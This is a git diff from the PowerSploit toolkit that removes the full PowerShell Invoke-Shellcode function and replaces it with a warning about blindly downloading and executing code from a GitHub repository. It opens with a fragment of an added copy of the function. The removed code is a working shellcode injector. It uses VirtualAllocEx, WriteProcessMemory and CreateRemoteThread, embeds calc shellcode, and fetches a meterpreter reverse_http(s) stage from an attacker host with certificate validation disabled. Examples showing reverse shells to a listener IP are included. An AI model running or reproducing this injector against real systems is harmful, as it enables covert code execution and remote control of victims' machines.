'Do you wish to carry out your evil plans?', + "Injecting shellcode into the running PowerShell process!" ) ) + { + Inject-LocalShellcode + } + } + +} diff --git a/CodeExecution/Invoke-Shellcode.ps1 b/CodeExecution/Invoke-Shellcode.ps1 index 563d3a7..c27a8ab 100644 --- a/CodeExecution/Invoke-Shellcode.ps1 +++ b/CodeExecution/Invoke-Shellcode.ps1 @@ -1,713 +1,8 @@ -function Invoke-Shellcode
-{
-<#
-.SYNOPSIS
-
-Inject shellcode into the process ID of your choosing or within the context of the running PowerShell process.
-
-PowerSploit Function: Invoke-Shellcode
-Author: Matthew Graeber (@mattifestation)
-License: BSD 3-Clause
-Required Dependencies: None
-Optional Dependencies: None
-
-.DESCRIPTION
-
-Portions of this project was based upon syringe.c v1.2 written by Spencer McIntyre
-
-PowerShell expects shellcode to be in the form 0xXX,0xXX,0xXX. To generate your shellcode in this form, you can use this command from within Backtrack (Thanks, Matt and g0tm1lk):
-
-msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread C | sed '1,6d;s/[";]//g;s/\\/,0/g' | tr -d '\n' | cut -c2-
-
-Make sure to specify 'thread' for your exit process. Also, don't bother encoding your shellcode. It's entirely unnecessary.
-
-.PARAMETER ProcessID
-
-Process ID of the process you want to inject shellcode into.
-
-.PARAMETER Shellcode
-
-Specifies an optional shellcode passed in as a byte array
-
-.PARAMETER ListMetasploitPayloads
-
-Lists all of the available Metasploit payloads that Invoke-Shellcode supports
-
-.PARAMETER Lhost
-
-Specifies the IP address of the attack machine waiting to receive the reverse shell
-
-.PARAMETER Lport
-
-Specifies the port of the attack machine waiting to receive the reverse shell
-
-.PARAMETER Payload
-
-Specifies the metasploit payload to use. Currently, only 'windows/meterpreter/reverse_http' and 'windows/meterpreter/reverse_https' payloads are supported.
-
-.PARAMETER UserAgent
-
-Optionally specifies the user agent to use when using meterpreter http or https payloads
-
-.PARAMETER Force
-
-Injects shellcode without prompting for confirmation. By default, Invoke-Shellcode prompts for confirmation before performing any malicious act.
-
-.EXAMPLE
-
-C:\PS> Invoke-Shellcode -ProcessId 4274
-
-Description
------------
-Inject shellcode into process ID 4274.
-
-.EXAMPLE
-
-C:\PS> Invoke-Shellcode
-
-Description
------------
-Inject shellcode into the running instance of PowerShell.
-
-.EXAMPLE
-
-C:\PS> Start-Process C:\Windows\SysWOW64\notepad.exe -WindowStyle Hidden
-C:\PS> $Proc = Get-Process notepad
-C:\PS> Invoke-Shellcode -ProcessId $Proc.Id -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 443 -Verbose
-
-VERBOSE: Requesting meterpreter payload from https://192.168.30.129:443/INITM
-VERBOSE: Injecting shellcode into PID: 4004
-VERBOSE: Injecting into a Wow64 process.
-VERBOSE: Using 32-bit shellcode.
-VERBOSE: Shellcode memory reserved at 0x03BE0000
-VERBOSE: Emitting 32-bit assembly call stub.
-VERBOSE: Thread call stub memory reserved at 0x001B0000
-VERBOSE: Shellcode injection complete!
-
-Description
------------
-Establishes a reverse https meterpreter payload from within the hidden notepad process. A multi-handler was set up with the following options:
-
-Payload options (windows/meterpreter/reverse_https):
-
-Name Current Setting Required Description
----- --------------- -------- -----------
-EXITFUNC thread yes Exit technique: seh, thread, process, none
-LHOST 192.168.30.129 yes The local listener hostname
-LPORT 443 yes The local listener port
-
-.EXAMPLE
-
-C:\PS> Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 80
-
-Description
------------
-Establishes a reverse http meterpreter payload from within the running PwerShell process. A multi-handler was set up with the following options:
-
-Payload options (windows/meterpreter/reverse_http):
-
-Name Current Setting Required Description
----- --------------- -------- -----------
-EXITFUNC thread yes Exit technique: seh, thread, process, none
-LHOST 192.168.30.129 yes The local listener hostname
-LPORT 80 yes The local listener port
-
-.EXAMPLE
-
-C:\PS> Invoke-Shellcode -Shellcode @(0x90,0x90,0xC3)
-
-Description
------------
-Overrides the shellcode included in the script with custom shellcode - 0x90 (NOP), 0x90 (NOP), 0xC3 (RET)
-Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit!
-
-.EXAMPLE
-
-C:\PS> Invoke-Shellcode -ListMetasploitPayloads
-
-Payloads
---------
-windows/meterpreter/reverse_http
-windows/meterpreter/reverse_https
-
-.NOTES
-
-Use the '-Verbose' option to print detailed information.
-
-Place your generated shellcode in $Shellcode32 and $Shellcode64 variables or pass it in as a byte array via the '-Shellcode' parameter
-
-Big thanks to Oisin (x0n) Grehan (@oising) for answering all my obscure questions at the drop of a hat - http://www.nivot.org/
-
-.LINK
-
-http://www.exploit-monday.com
-#>
-
-[CmdletBinding( DefaultParameterSetName = 'RunLocal', SupportsShouldProcess = $True , ConfirmImpact = 'High')] Param (
- [ValidateNotNullOrEmpty()]
- [UInt16]
- $ProcessID,
-
- [Parameter( ParameterSetName = 'RunLocal' )]
- [ValidateNotNullOrEmpty()]
- [Byte[]]
- $Shellcode,
-
- [Parameter( ParameterSetName = 'Metasploit' )]
- [ValidateSet( 'windows/meterpreter/reverse_http',
- 'windows/meterpreter/reverse_https',
- IgnoreCase = $True )]
- [String]
- $Payload = 'windows/meterpreter/reverse_http',
-
- [Parameter( ParameterSetName = 'ListPayloads' )]
- [Switch]
- $ListMetasploitPayloads,
-
- [Parameter( Mandatory = $True,
- ParameterSetName = 'Metasploit' )]
- [ValidateNotNullOrEmpty()]
- [String]
- $Lhost = '127.0.0.1',
-
- [Parameter( Mandatory = $True,
- ParameterSetName = 'Metasploit' )]
- [ValidateRange( 1,65535 )]
- [Int]
- $Lport = 8443,
-
- [Parameter( ParameterSetName = 'Metasploit' )]
- [ValidateNotNull()]
- [String]
- $UserAgent = 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
-
- [Switch]
- $Force = $False
-)
-
- Set-StrictMode -Version 2.0
-
- # List all available Metasploit payloads and exit the function
- if ($PsCmdlet.ParameterSetName -eq 'ListPayloads')
- {
- $AvailablePayloads = (Get-Command Invoke-Shellcode).Parameters['Payload'].Attributes |
- Where-Object {$_.TypeId -eq [System.Management.Automation.ValidateSetAttribute]}
-
- foreach ($Payload in $AvailablePayloads.ValidValues)
- {
- New-Object PSObject -Property @{ Payloads = $Payload }
- }
-
- Return
- }
-
- if ( $PSBoundParameters['ProcessID'] )
- {
- # Ensure a valid process ID was provided
- # This could have been validated via 'ValidateScript' but the error generated with Get-Process is more descriptive
- Get-Process -Id $ProcessID -ErrorAction Stop | Out-Null
- }
-
- function Local:Get-DelegateType
- {
- Param
- (
- [OutputType([Type])]
-
- [Parameter( Position = 0)]
- [Type[]]
- $Parameters = (New-Object Type[](0)),
-
- [Parameter( Position = 1 )]
- [Type]
- $ReturnType = [Void]
- )
-
- $Domain = [AppDomain]::CurrentDomain
- $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
- $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
- $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
- $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
- $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
- $ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
- $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
- $MethodBuilder.SetImplementationFlags('Runtime, Managed')
-
- Write-Output $TypeBuilder.CreateType()
- }
-
- function Local:Get-ProcAddress
- {
- Param
- (
- [OutputType([IntPtr])]
-
- [Parameter( Position = 0, Mandatory = $True )]
- [String]
- $Module,
-
- [Parameter( Position = 1, Mandatory = $True )]
- [String]
- $Procedure
- )
-
- # Get a reference to System.dll in the GAC
- $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
- Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
- $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
- # Get a reference to the GetModuleHandle and GetProcAddress methods
- $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
- $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
- # Get a handle to the module specified
- $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
- $tmpPtr = New-Object IntPtr
- $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
-
- # Return the address of the function
- Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
- }
-
- # Emits a shellcode stub that when injected will create a thread and pass execution to the main shellcode payload
- function Local:Emit-CallThreadStub ([IntPtr] $BaseAddr, [IntPtr] $ExitThreadAddr, [Int] $Architecture)
- {
- $IntSizePtr = $Architecture / 8
-
- function Local:ConvertTo-LittleEndian ([IntPtr] $Address)
- {
- $LittleEndianByteArray = New-Object Byte[](0)
- $Address.ToString("X$($IntSizePtr*2)") -split '([A-F0-9]{2})' | ForEach-Object { if ($_) { $LittleEndianByteArray += [Byte] ('0x{0}' -f $_) } }
- [System.Array]::Reverse($LittleEndianByteArray)
-
- Write-Output $LittleEndianByteArray
- }
-
- $CallStub = New-Object Byte[](0)
-
- if ($IntSizePtr -eq 8)
- {
- [Byte[]] $CallStub = 0x48,0xB8 # MOV QWORD RAX, &shellcode
- $CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode
- $CallStub += 0xFF,0xD0 # CALL RAX
- $CallStub += 0x6A,0x00 # PUSH BYTE 0
- $CallStub += 0x48,0xB8 # MOV QWORD RAX, &ExitThread
- $CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread
- $CallStub += 0xFF,0xD0 # CALL RAX
- }
- else
- {
- [Byte[]] $CallStub = 0xB8 # MOV DWORD EAX, &shellcode
- $CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode
- $CallStub += 0xFF,0xD0 # CALL EAX
- $CallStub += 0x6A,0x00 # PUSH BYTE 0
- $CallStub += 0xB8 # MOV DWORD EAX, &ExitThread
- $CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread
- $CallStub += 0xFF,0xD0 # CALL EAX
- }
-
- Write-Output $CallStub
- }
-
- function Local:Inject-RemoteShellcode ([Int] $ProcessID)
- {
- # Open a handle to the process you want to inject into
- $hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF)
-
- if (!$hProcess)
- {
- Throw "Unable to open a process handle for PID: $ProcessID"
- }
-
- $IsWow64 = $false
-
- if ($64bitCPU) # Only perform theses checks if CPU is 64-bit
- {
- # Determine is the process specified is 32 or 64 bit
- $IsWow64Process.Invoke($hProcess, [Ref] $IsWow64) | Out-Null
-
- if ((!$IsWow64) -and $PowerShell32bit)
- {
- Throw 'Unable to inject 64-bit shellcode from within 32-bit Powershell. Use the 64-bit version of Powershell if you want this to work.'
- }
- elseif ($IsWow64) # 32-bit Wow64 process
- {
- if ($Shellcode32.Length -eq 0)
- {
- Throw 'No shellcode was placed in the $Shellcode32 variable!'
- }
-
- $Shellcode = $Shellcode32
- Write-Verbose 'Injecting into a Wow64 process.'
- Write-Verbose 'Using 32-bit shellcode.'
- }
- else # 64-bit process
- {
- if ($Shellcode64.Length -eq 0)
- {
- Throw 'No shellcode was placed in the $Shellcode64 variable!'
- }
-
- $Shellcode = $Shellcode64
- Write-Verbose 'Using 64-bit shellcode.'
- }
- }
- else # 32-bit CPU
- {
- if ($Shellcode32.Length -eq 0)
- {
- Throw 'No shellcode was placed in the $Shellcode32 variable!'
- }
-
- $Shellcode = $Shellcode32
- Write-Verbose 'Using 32-bit shellcode.'
- }
-
- # Reserve and commit enough memory in remote process to hold the shellcode
- $RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
-
- if (!$RemoteMemAddr)
- {
- Throw "Unable to allocate shellcode memory in PID: $ProcessID"
- }
-
- Write-Verbose "Shellcode memory reserved at 0x$($RemoteMemAddr.ToString("X$([IntPtr]::Size*2)"))"
-
- # Copy shellcode into the previously allocated memory
- $WriteProcessMemory.Invoke($hProcess, $RemoteMemAddr, $Shellcode, $Shellcode.Length, [Ref] 0) | Out-Null
-
- # Get address of ExitThread function
- $ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread
-
- if ($IsWow64)
- {
- # Build 32-bit inline assembly stub to call the shellcode upon creation of a remote thread.
- $CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 32
-
- Write-Verbose 'Emitting 32-bit assembly call stub.'
- }
- else
- {
- # Build 64-bit inline assembly stub to call the shellcode upon creation of a remote thread.
- $CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 64
-
- Write-Verbose 'Emitting 64-bit assembly call stub.'
- }
-
- # Allocate inline assembly stub
- $RemoteStubAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $CallStub.Length, 0x3000, 0x40) # (Reserve|Commit, RWX)
-
- if (!$RemoteStubAddr)
- {
- Throw "Unable to allocate thread call stub memory in PID: $ProcessID"
- }
-
- Write-Verbose "Thread call stub memory reserved at 0x$($RemoteStubAddr.ToString("X$([IntPtr]::Size*2)"))"
-
- # Write 32-bit assembly stub to remote process memory space
- $WriteProcessMemory.Invoke($hProcess, $RemoteStubAddr, $CallStub, $CallStub.Length, [Ref] 0) | Out-Null
-
- # Execute shellcode as a remote thread
- $ThreadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $RemoteStubAddr, $RemoteMemAddr, 0, [IntPtr]::Zero)
-
- if (!$ThreadHandle)
- {
- Throw "Unable to launch remote thread in PID: $ProcessID"
- }
-
- # Close process handle
- $CloseHandle.Invoke($hProcess) | Out-Null
-
- Write-Verbose 'Shellcode injection complete!'
- }
-
- function Local:Inject-LocalShellcode
- {
- if ($PowerShell32bit) {
- if ($Shellcode32.Length -eq 0)
- {
- Throw 'No shellcode was placed in the $Shellcode32 variable!'
- return
- }
-
- $Shellcode = $Shellcode32
- Write-Verbose 'Using 32-bit shellcode.'
- }
- else
- {
- if ($Shellcode64.Length -eq 0)
- {
- Throw 'No shellcode was placed in the $Shellcode64 variable!'
- return
- }
-
- $Shellcode = $Shellcode64
- Write-Verbose 'Using 64-bit shellcode.'
- }
-
- # Allocate RWX memory for the shellcode
- $BaseAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
- if (!$BaseAddress)
- {
- Throw "Unable to allocate shellcode memory in PID: $ProcessID"
- }
-
- Write-Verbose "Shellcode memory reserved at 0x$($BaseAddress.ToString("X$([IntPtr]::Size*2)"))"
-
- # Copy shellcode to RWX buffer
- [System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $BaseAddress, $Shellcode.Length)
-
- # Get address of ExitThread function
- $ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread
-
- if ($PowerShell32bit)
- {
- $CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 32
-
- Write-Verbose 'Emitting 32-bit assembly call stub.'
- }
- else
- {
- $CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 64
-
- Write-Verbose 'Emitting 64-bit assembly call stub.'
- }
-
- # Allocate RWX memory for the thread call stub
- $CallStubAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $CallStub.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
- if (!$CallStubAddress)
- {
- Throw "Unable to allocate thread call stub."
- }
-
- Write-Verbose "Thread call stub memory reserved at 0x$($CallStubAddress.ToString("X$([IntPtr]::Size*2)"))"
-
- # Copy call stub to RWX buffer
- [System.Runtime.InteropServices.Marshal]::Copy($CallStub, 0, $CallStubAddress, $CallStub.Length)
-
- # Launch shellcode in it's own thread
- $ThreadHandle = $CreateThread.Invoke([IntPtr]::Zero, 0, $CallStubAddress, $BaseAddress, 0, [IntPtr]::Zero)
- if (!$ThreadHandle)
- {
- Throw "Unable to launch thread."
- }
-
- # Wait for shellcode thread to terminate
- $WaitForSingleObject.Invoke($ThreadHandle, 0xFFFFFFFF) | Out-Null
-
- $VirtualFree.Invoke($CallStubAddress, $CallStub.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
- $VirtualFree.Invoke($BaseAddress, $Shellcode.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
-
- Write-Verbose 'Shellcode injection complete!'
- }
-
- # A valid pointer to IsWow64Process will be returned if CPU is 64-bit
- $IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process
- if ($IsWow64ProcessAddr)
- {
- $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
- $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
-
- $64bitCPU = $true
- }
- else
- {
- $64bitCPU = $false
- }
-
- if ([IntPtr]::Size -eq 4)
- {
- $PowerShell32bit = $true
- }
- else
- {
- $PowerShell32bit = $false
- }
-
- if ($PsCmdlet.ParameterSetName -eq 'Metasploit')
- {
- if (!$PowerShell32bit) {
- # The currently supported Metasploit payloads are 32-bit. This block of code implements the logic to execute this script from 32-bit PowerShell
- # Get this script's contents and pass it to 32-bit powershell with the same parameters passed to this function
-
- # Pull out just the content of the this script's invocation.
- $RootInvocation = $MyInvocation.Line
-
- $Response = $True
-
- if ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you want to launch the payload from x86 Powershell?",
- "Attempt to execute 32-bit shellcode from 64-bit Powershell. Note: This process takes about one minute. Be patient! You will also see some artifacts of the script loading in the other process." ) ) ) { }
-
- if ( !$Response )
- {
- # User opted not to launch the 32-bit payload from 32-bit PowerShell. Exit function
- Return
- }
-
- # Since the shellcode will run in a noninteractive instance of PowerShell, make sure the -Force switch is included so that there is no warning prompt.
- if ($MyInvocation.BoundParameters['Force'])
- {
- Write-Verbose "Executing the following from 32-bit PowerShell: $RootInvocation"
- $Command = "function $($MyInvocation.InvocationName) {`n" + $MyInvocation.MyCommand.ScriptBlock + "`n}`n$($RootInvocation)`n`n"
- }
- else
- {
- Write-Verbose "Executing the following from 32-bit PowerShell: $RootInvocation -Force"
- $Command = "function $($MyInvocation.InvocationName) {`n" + $MyInvocation.MyCommand.ScriptBlock + "`n}`n$($RootInvocation) -Force`n`n"
- }
-
- $CommandBytes = [System.Text.Encoding]::Ascii.GetBytes($Command)
- $EncodedCommand = [Convert]::ToBase64String($CommandBytes)
-
- $Execute = '$Command' + " | $Env:windir\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -Command -"
- Invoke-Expression -Command $Execute | Out-Null
-
- # Exit the script since the shellcode will be running from x86 PowerShell
- Return
- }
-
- $Response = $True
-
- if ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you know what you're doing?",
- "About to download Metasploit payload '$($Payload)' LHOST=$($Lhost), LPORT=$($Lport)" ) ) ) { }
-
- if ( !$Response )
- {
- # User opted not to carry out download of Metasploit payload. Exit function
- Return
- }
-
- switch ($Payload)
- {
- 'windows/meterpreter/reverse_http'
- {
- $SSL = ''
- }
-
- 'windows/meterpreter/reverse_https'
- {
- $SSL = 's'
- # Accept invalid certificates
- [System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }
- }
- }
-
- # Meterpreter expects 'INITM' in the URI in order to initiate stage 0. Awesome authentication, huh?
- $Request = "http$($SSL)://$($Lhost):$($Lport)/INITM"
- Write-Verbose "Requesting meterpreter payload from $Request"
-
- $Uri = New-Object Uri($Request)
- $WebClient = New-Object System.Net.WebClient
- $WebClient.Headers.Add('user-agent', "$UserAgent")
-
- try
- {
- [Byte[]] $Shellcode32 = $WebClient.DownloadData($Uri)
- }
- catch
- {
- Throw "$($Error[0].Exception.InnerException.InnerException.Message)"
- }
- [Byte[]] $Shellcode64 = $Shellcode32
-
- }
- elseif ($PSBoundParameters['Shellcode'])
- {
- # Users passing in shellcode through the '-Shellcode' parameter are responsible for ensuring it targets
- # the correct architechture - x86 vs. x64. This script has no way to validate what you provide it.
- [Byte[]] $Shellcode32 = $Shellcode
- [Byte[]] $Shellcode64 = $Shellcode32
- }
- else
- {
- # Pop a calc... or whatever shellcode you decide to place in here
- # I sincerely hope you trust that this shellcode actually pops a calc...
- # Insert your shellcode here in the for 0xXX,0xXX,...
- # 32-bit payload
- # msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread
- [Byte[]] $Shellcode32 = @(0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,
- 0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,
- 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,
- 0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,
- 0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,
- 0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,
- 0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
- 0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,
- 0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,
- 0x6a,0x01,0x8d,0x85,0xb9,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5,
- 0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,
- 0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63,
- 0x61,0x6c,0x63,0x00)
-
- # 64-bit payload
- # msfpayload windows/x64/exec CMD="calc" EXITFUNC=thread
- [Byte[]] $Shellcode64 = @(0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,
- 0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,
- 0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,
- 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,
- 0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,
- 0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,
- 0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,
- 0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,
- 0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,
- 0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,
- 0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,
- 0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,
- 0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,
- 0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,
- 0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
- 0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,
- 0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00)
- }
-
- if ( $PSBoundParameters['ProcessID'] )
- {
- # Inject shellcode into the specified process ID
- $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
- $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
- $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)
- $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx
- $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32], [UInt32]) ([IntPtr])
- $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate)
- $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory
- $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool])
- $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)
- $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread
- $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
- $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate)
- $CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle
- $CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool])
- $CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate)
-
- Write-Verbose "Injecting shellcode into PID: $ProcessId"
-
- if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?',
- "Injecting shellcode injecting into $((Get-Process -Id $ProcessId).ProcessName) ($ProcessId)!" ) )
- {
- Inject-RemoteShellcode $ProcessId
- }
- }
- else
- {
- # Inject shellcode into the currently running PowerShell process
- $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc
- $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])
- $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate)
- $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree
- $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [Uint32], [UInt32]) ([Bool])
- $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate)
- $CreateThreadAddr = Get-ProcAddress kernel32.dll CreateThread
- $CreateThreadDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
- $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate)
- $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject
- $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [Int32]) ([Int])
- $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate)
-
- Write-Verbose "Injecting shellcode into PowerShell"
-
- if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?',
- "Injecting shellcode into the running PowerShell process!" ) )
- {
- Inject-LocalShellcode
- }
- }
-
-}
+# The actual Invoke-Shellcode has moved to Invoke--Shellcode.ps1.
+# This was done to make a point that you have no security sense
+# if you think it's okay to blindly download/exec code directly
+# from a GitHub repo you don't control. This will undoubedtly break
+# many scripts that have this path hardcoded. If you don't like it,
+# fork PowerSploit and host it yourself.
+
+throw 'Something terrible may have just happened and you have no idea what because you just arbitrarily download crap from the Internet and execute it.'
\ No newline at end of file |